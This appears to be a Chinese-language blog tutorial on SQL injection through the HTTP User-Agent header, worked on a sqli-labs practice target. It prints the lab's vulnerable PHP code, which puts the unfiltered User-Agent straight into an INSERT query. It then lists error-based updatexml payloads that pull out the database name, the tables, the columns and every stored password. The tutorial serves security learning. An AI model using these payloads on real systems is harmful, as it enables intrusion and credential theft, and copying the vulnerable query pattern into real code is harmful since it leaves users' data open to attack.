sql注入--------(http头注入--user-agent注入)

一,user-agent

基本概念:

  •                 User-Agent是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供你所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器!
  • 简单来说 user -agent就是让网站识别浏览器的版本,类型,操作系统等等一些信息,user-agent位于http请求头中,随http请求发送给网站,从而进行识别

二、user-agent注入

       在学习sql注入过程中会碰到一些在登录框中对username和password进行严密过滤的靶场,在这种情况下,我们不能在url栏进行拼接sql注入语句和不能进行post型注入,所以在这种情况下我们就要寻找其他的注入点。

       而user-agent注入是由于网站对http请求中的usere-agent没有进行严格过滤,所以我们可以通过在user-agent拼接sql语句进行注入;

三、演示

      这里一sqllabs上的一道靶场为例:

        当我们输入正确的用户名,密码正确是页面会返回user-agent

// uagent的接收是未经过严格过滤的
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

    {
    // 此处表明我们输入的uname和passwd是经过后台严格检验的,因此想从这里注入是很难的。
    $uname = check_input($_POST['uname']);
    $passwd = check_input($_POST['passwd']);

    //logging the connection parameters to a file for analysis.    
    $fp=fopen('result.txt','a');
    fwrite($fp,'User Agent:'.$uname."\n");
    
    fclose($fp);
    
    $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            // 这里有一个插入sql语句,而uagent也没有严格过滤,我们可以从这里入手注入
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);
            //echo 'Your IP ADDRESS is: ' .$IP;
            echo "</font>";
            //echo "<br>";
            echo '<font color= "#0000ff" font size = 3 >';            
            echo 'Your User Agent is: ' .$uagent;
            echo "</font>";
            echo "<br>";
            print_r(mysql_error());            
            echo "<br><br>";
            echo '<img src="../images/flag.jpg"  />';
            echo "<br>";
            
            }
        else
            {
            echo '<font color= "#0000ff" font size="3">';
            //echo "Try again looser";
            print_r(mysql_error());
            echo "</br>";            
            echo "</br>";
            echo '<img src="../images/slap.jpg"   />';    
            echo "</font>";  
            }

    }

上面的是页面的源代码,发现页面对username和password进行了严格过滤所以想要在这里进行注入基本不可能,但是我们发现网页对user-agent进行过滤,所以我们可以在use-agent进行拼接sql注入语句;

  这里我们用的是报错注入,使用hacker插件修改user-agent,当然也可以使用burp进行抓包,但是为了方便这里就使用hacker进行修改;

  查询数据库;' or updatexml(1, concat('#', database()), 0), 1, 1) #

 

查询表:' or updatexml(1, concat('#', (select group_concat(table_name) from information_schema.tables where table_schema="security")), 0), 1, 1) #

查询user表的字段:' or updatexml(1, concat('#', (select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")), 0), 1, 1) #

查询user表里面所有数据:' or updatexml(1, concat('#', (select group_concat(password) from users)), 0), 1, 1) #

user-agent注入是http请求头过滤严格导致的其思想还是拼接sql语句。感觉只要理解user-gent就行;

posted @ 2022-03-30 14:05  GTL_JU  阅读(718)  评论(0编辑  收藏  举报